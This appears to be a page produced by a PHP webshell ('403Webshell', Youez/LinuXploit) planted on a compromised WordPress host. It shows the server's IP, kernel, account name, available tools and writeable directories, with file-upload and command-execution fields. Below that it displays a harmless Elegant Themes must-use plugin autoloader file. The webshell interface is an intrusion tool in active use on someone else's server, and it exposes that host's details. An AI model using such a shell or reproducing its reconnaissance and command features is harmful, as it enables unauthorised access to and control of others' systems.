403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www/wp-content/mu-plugins/SupportCenterMUAutoloader.php
<?php
/**
 * Plugin Name: ET Support Center :: Must-Use Plugins Autoloader
 * Plugin URI: http://www.elegantthemes.com
 * Description: This plugin enables the Elegant Themes Support Center to provide more consistent functionality when Safe Mode is active.
 * Author: Elegant Themes
 * Author URI: http://www.elegantthemes.com
 * License: GPLv2 or later
 *
 * @package ET\Core\SupportCenter\SafeModeDisablePlugins
 * @author Elegant Themes <http://www.elegantthemes.com>
 * @license GNU General Public License v2 <http://www.gnu.org/licenses/gpl-2.0.html>
 */

// The general idea here is loosely based on <https://codex.wordpress.org/Must_Use_Plugins#Autoloader_Example>.

// Quick exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
$DEBUG = defined( 'ET_DEBUG' ) && ET_DEBUG;

// We only want to load these MU Plugins if Support Center is installed
$support_center_installed = get_option( 'et_support_center_installed' );

if ( $support_center_installed ) {
	// Compile a list of plugins in the `mu-plugins/et-safe-mode` directory
	// (see `$pathname_to` in `ET_Support_Center::maybe_add_mu_autoloader()`)
	if( $mu_plugins = glob( dirname( __FILE__ ) . '/et-safe-mode/*.php' ) ) {
		// Loop through the list of plugins and require each in turn
		foreach ( $mu_plugins as $plugin ) {
			if ( file_exists( $plugin ) ) {
				if ( $DEBUG ) {
					error_log( 'ET Support Center: loading mu-plugin: ' . $plugin );
				}
				require_once( $plugin );
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit